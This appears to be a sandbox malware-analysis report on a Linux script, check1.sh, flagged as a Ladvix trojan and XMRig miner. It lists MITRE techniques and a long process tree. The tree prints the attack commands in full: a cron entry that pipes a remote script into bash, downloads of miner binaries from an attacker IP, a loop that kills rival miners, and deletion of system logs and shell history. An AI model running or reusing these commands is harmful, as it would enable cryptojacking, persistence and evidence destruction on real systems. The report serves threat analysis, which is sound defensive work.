ladvix | f61811f9cd70d6fb833b8a2992bb84aafeacc2e81dbc6ec3f846fcaa81bd2e60

Analysis

max time kernel
148s
max time network
141s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/08/2026, 11:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
check1.sh
Size 1KB
Sample260811-n4rcjsdp41
SHA256 f61811f9cd70d6fb833b8a2992bb84aafeacc2e81dbc6ec3f846fcaa81bd2e60
MD5 b97306d5b42d850aac555640274a4ea0
SHA1 4d667b2bb471be7cf81945bc1100f9abcaf18afc
SHA512 4e0e4dcbdfcce4f63d2042a25e68337213e7c0c0533c87ecbf356cd00fc175be853fc70d30639733add6c08b0082a8282368ad52c0f46f4b0382ef54531c3be8
TLSH
T11031B0515762AD752CD8826C71AA80A96143033F065F2F68FCDAFDB21F8C984F264B74
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery execution ladvix xmrig infector miner persistence privilege_escalation trojan

Malware Config

Signatures

Family: Ladvix
Ladvix is a linux trojan and file infector first seen in 2022.
trojan infector ladvix
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-7.dat	family_xmrig
behavioral2/files/fstream-7.dat	xmrig

ladvix 1 IoCs

Detects Ladvix payload

resource	yara_rule
behavioral2/files/fstream-7.dat	ladvix

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
696	chmod
790	chmod
856	chmod

Indicator Removal: Clear Command History 1 TTPs 1 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

Clear Command History

T1070.003

pid	Process
871	rm

Executes dropped EXE 7 IoCs

ioc	pid	Process
/var/tmp/watcher-aarch.sh	698	check1.sh
/var/tmp/cliaarch	794	watcher-aarch.sh
/var/tmp/cliaarch	844	watcher-aarch.sh
/var/tmp/Error84	857	check1.sh
/var/tmp/cliaarch	902	watcher-aarch.sh
/var/tmp/cliaarch	947	watcher-aarch.sh
/var/tmp/cliaarch	992	watcher-aarch.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.YoKNre	crontab

Deletes log files 1 TTPs 4 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/btmp	rm
File deleted	/var/log/auth.log	rm
File deleted	/var/log/wtmp	rm
File deleted	/var/log/lastlog	rm

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
681	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/891/status	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/343/cmdline	pkill
File opened for reading	/proc/687/status	pkill
File opened for reading	/proc/230/cmdline	pkill
File opened for reading	/proc/660/status	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/687/cmdline	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/108/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/585/cmdline	pkill
File opened for reading	/proc/282/cmdline	pkill
File opened for reading	/proc/139/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/96/cmdline	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/698/status	pkill
File opened for reading	/proc/169/status	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/646/cmdline	pkill
File opened for reading	/proc/647/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/586/cmdline	pgrep
File opened for reading	/proc/282/status	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/330/status	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/797/status	pgrep
File opened for reading	/proc/105/status	pkill
File opened for reading	/proc/586/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/139/cmdline	pkill
File opened for reading	/proc/107/cmdline	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/958/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/19/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/649/status	pkill
File opened for reading	/proc/697/cmdline	pkill
File opened for reading	/proc/343/cmdline	pgrep
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/295/cmdline	pgrep
File opened for reading	/proc/571/status	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/646/status	pkill
File opened for reading	/proc/230/cmdline	pkill
File opened for reading	/proc/105/cmdline	pkill
File opened for reading	/proc/697/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/585/cmdline	pkill

/tmp/check1.sh
/tmp/check1.sh
1⤵
- Executes dropped EXE
PID:649
- /bin/grep
  grep -Fq "*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://176.65.139.211/check1.sh)' &"
  2⤵
  PID:656
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:654
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:668
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:669
- /usr/bin/pgrep
  pgrep -f Error84
  2⤵
  - Reads runtime system information
  PID:674
- /usr/bin/flock
  flock -n /tmp/report_system.lock -c "nohup bash -c 'trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done' > /dev/null 2>&1 &"
  2⤵
  PID:678
- - /bin/sh
    /bin/sh -c "nohup bash -c 'trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done' > /dev/null 2>&1 &"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:681
- /bin/rm
  rm -rf systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-oDoVTc
  2⤵
  PID:683
- /usr/bin/pgrep
  pgrep -f /var/tmp/watcher-aarch.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:684
- /bin/sleep
  sleep 5
  2⤵
  PID:688
- /usr/bin/curl
  curl -s http://176.65.139.211:3000/watcher-script-aarch
  2⤵
  - Checks CPU configuration
  PID:690
- /bin/chmod
  chmod +x /var/tmp/watcher-aarch.sh
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /var/tmp/watcher-aarch.sh
  /var/tmp/watcher-aarch.sh
  2⤵
  - Executes dropped EXE
  PID:698
- - /usr/bin/curl
    curl -s --max-time 5 http://176.65.139.211:3000/token
    3⤵
    - Checks CPU configuration
    PID:700
- - /usr/bin/wget
    wget -qO /var/tmp/cliaarch http://176.65.139.211/cliaarch
    3⤵
    PID:701
- - /bin/chmod
    chmod +x /var/tmp/cliaarch
    3⤵
    - File and Directory Permissions Modification
    PID:790
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    - Reads CPU attributes
    PID:791
- - /bin/sleep
    sleep 1
    3⤵
    PID:792
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    - Reads CPU attributes
    PID:793
- - /bin/date
    date
    3⤵
    PID:795
- - /var/tmp/cliaarch
    /var/tmp/cliaarch start accept --token "gctoEEMdAXqOy7az1sam0E0a00fjZLaZ/6JcDtAWms8="
    3⤵
    PID:794
- - /bin/sleep
    sleep 30
    3⤵
    PID:798
- - /usr/bin/curl
    curl -s --max-time 5 http://176.65.139.211:3000/token
    3⤵
    - Checks CPU configuration
    PID:840
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    - Reads runtime system information
    PID:841
- - /bin/sleep
    sleep 1
    3⤵
    PID:842
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    PID:843
- - /var/tmp/cliaarch
    /var/tmp/cliaarch start accept --token "gctoEEMdAXqOy7az1sam0E0a00fjZLaZ/6JcDtAWms8="
    3⤵
    PID:844
- - /bin/date
    date
    3⤵
    PID:845
- - /bin/sleep
    sleep 30
    3⤵
    PID:847
- - /usr/bin/curl
    curl -s --max-time 5 http://176.65.139.211:3000/token
    3⤵
    - Checks CPU configuration
    PID:898
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    - Reads runtime system information
    PID:899
- - /bin/sleep
    sleep 1
    3⤵
    PID:900
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    - Reads runtime system information
    PID:901
- - /bin/date
    date
    3⤵
    PID:903
- - /var/tmp/cliaarch
    /var/tmp/cliaarch start accept --token "gctoEEMdAXqOy7az1sam0E0a00fjZLaZ/6JcDtAWms8="
    3⤵
    PID:902
- - /bin/sleep
    sleep 30
    3⤵
    PID:905
- - /usr/bin/curl
    curl -s --max-time 5 http://176.65.139.211:3000/token
    3⤵
    - Checks CPU configuration
    PID:943
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:944
- - /bin/sleep
    sleep 1
    3⤵
    PID:945
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    PID:946
- - /bin/date
    date
    3⤵
    PID:948
- - /var/tmp/cliaarch
    /var/tmp/cliaarch start accept --token "gctoEEMdAXqOy7az1sam0E0a00fjZLaZ/6JcDtAWms8="
    3⤵
    PID:947
- - /bin/sleep
    sleep 30
    3⤵
    PID:950
- - /usr/bin/curl
    curl -s --max-time 5 http://176.65.139.211:3000/token
    3⤵
    - Checks CPU configuration
    PID:988
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    PID:989
- - /bin/sleep
    sleep 1
    3⤵
    PID:990
- - /usr/bin/pgrep
    pgrep -f "/var/tmp/cliaarch start accept"
    3⤵
    PID:991
- - /bin/date
    date
    3⤵
    PID:993
- - /var/tmp/cliaarch
    /var/tmp/cliaarch start accept --token "gctoEEMdAXqOy7az1sam0E0a00fjZLaZ/6JcDtAWms8="
    3⤵
    PID:992
- - /bin/sleep
    sleep 30
    3⤵
    PID:995
- /usr/bin/curl
  curl -LO http://176.65.139.211/Error84
  2⤵
  - Checks CPU configuration
  PID:777
- /usr/bin/wget
  wget http://176.65.139.211/Error84
  2⤵
  PID:821
- /bin/sleep
  sleep 4
  2⤵
  PID:853
- /bin/chmod
  chmod +x Error84
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /bin/rm
  rm -rf unix
  2⤵
  PID:858
- /var/tmp/Error84
  ./Error84 -o 176.65.139.195:5555 -u error -p error
  2⤵
  PID:857
- /bin/sleep
  sleep 5
  2⤵
  PID:860
- /bin/rm
  rm -rf auth.log
  2⤵
  - Deletes log files
  PID:866
- /bin/rm
  rm -rf wtmp
  2⤵
  - Deletes log files
  PID:867
- /bin/rm
  rm -rf lastlog
  2⤵
  - Deletes log files
  PID:868
- /bin/rm
  rm -rf btmp
  2⤵
  - Deletes log files
  PID:869
- /bin/rm
  rm -rf utmp
  2⤵
  PID:870
- /bin/rm
  rm -rf .bash_history
  2⤵
  - Indicator Removal: Clear Command History
  PID:871
- /usr/bin/clear
  clear
  2⤵
  PID:872

/usr/bin/nohup
nohup bash -c "trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done"
1⤵
PID:682

/usr/local/sbin/bash
bash -c "trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done"
1⤵
PID:682

/usr/local/bin/bash
bash -c "trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done"
1⤵
PID:682

/usr/sbin/bash
bash -c "trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done"
1⤵
PID:682

/usr/bin/bash
bash -c "trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done"
1⤵
PID:682

/sbin/bash
bash -c "trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done"
1⤵
PID:682

/bin/bash
bash -c "trap \"\" HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done"
1⤵
PID:682
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads runtime system information
  PID:686
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads runtime system information
  PID:691
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:693
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:694
- /bin/sleep
  sleep 5
  2⤵
  PID:695
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:778
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  PID:779
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:780
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads runtime system information
  PID:781
- /bin/sleep
  sleep 5
  2⤵
  PID:782
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:785
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:786
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:787
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:788
- /bin/sleep
  sleep 5
  2⤵
  PID:789
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:799
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:800
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:801
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:802
- /bin/sleep
  sleep 5
  2⤵
  PID:803
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:806
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:807
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:808
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads runtime system information
  PID:809
- /bin/sleep
  sleep 5
  2⤵
  PID:810
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:811
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:812
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:813
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:814
- /bin/sleep
  sleep 5
  2⤵
  PID:815
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:822
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  PID:823
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:824
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:825
- /bin/sleep
  sleep 5
  2⤵
  PID:826
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  PID:827
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads runtime system information
  PID:828
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:829
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads runtime system information
  PID:830
- /bin/sleep
  sleep 5
  2⤵
  PID:831
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:834
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads runtime system information
  PID:835
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads runtime system information
  PID:836
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:837
- /bin/sleep
  sleep 5
  2⤵
  PID:838
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  PID:848
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:849
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:850
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:851
- /bin/sleep
  sleep 5
  2⤵
  PID:852
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  PID:861
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  PID:862
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:863
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:864
- /bin/sleep
  sleep 5
  2⤵
  PID:865
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:873
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads runtime system information
  PID:874
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads runtime system information
  PID:875
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:876
- /bin/sleep
  sleep 5
  2⤵
  PID:877
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:880
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:881
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads runtime system information
  PID:882
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:883
- /bin/sleep
  sleep 5
  2⤵
  PID:884
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:885
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:886
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:887
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:888
- /bin/sleep
  sleep 5
  2⤵
  PID:889
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  PID:892
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads runtime system information
  PID:893
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads runtime system information
  PID:894
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:895
- /bin/sleep
  sleep 5
  2⤵
  PID:896
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads runtime system information
  PID:906
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:907
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:908
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:909
- /bin/sleep
  sleep 5
  2⤵
  PID:910
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:913
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:914
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads runtime system information
  PID:915
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:916
- /bin/sleep
  sleep 5
  2⤵
  PID:917
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads runtime system information
  PID:918
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads runtime system information
  PID:919
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:920
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:921
- /bin/sleep
  sleep 5
  2⤵
  PID:922
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  PID:925
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:926
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:927
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:928
- /bin/sleep
  sleep 5
  2⤵
  PID:929
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:930
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:931
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:932
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:933
- /bin/sleep
  sleep 5
  2⤵
  PID:934
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads runtime system information
  PID:937
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:938
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:939
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:940
- /bin/sleep
  sleep 5
  2⤵
  PID:941
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:951
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:952
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:953
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:954
- /bin/sleep
  sleep 5
  2⤵
  PID:955
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads runtime system information
  PID:958
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  PID:959
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:960
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:961
- /bin/sleep
  sleep 5
  2⤵
  PID:962
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads runtime system information
  PID:963
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads runtime system information
  PID:964
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:965
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:966
- /bin/sleep
  sleep 5
  2⤵
  PID:967
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  PID:970
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  PID:971
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads runtime system information
  PID:972
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads runtime system information
  PID:973
- /bin/sleep
  sleep 5
  2⤵
  PID:974
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  PID:975
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:976
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:977
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:978
- /bin/sleep
  sleep 5
  2⤵
  PID:979
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:982
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  PID:983
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  PID:984
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:985
- /bin/sleep
  sleep 5
  2⤵
  PID:986
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:996
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  - Reads CPU attributes
  PID:998
- /usr/bin/pkill
  pkill -f earnfm_example
  2⤵
  - Reads CPU attributes
  PID:999
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  - Reads CPU attributes
  PID:1000
- /bin/sleep
  sleep 5
  2⤵
  PID:1001
- /usr/bin/pkill
  pkill -f .report_system
  2⤵
  - Reads CPU attributes
  PID:1003
- /usr/bin/pkill
  pkill -f .javago
  2⤵
  PID:1004
- /usr/bin/pkill
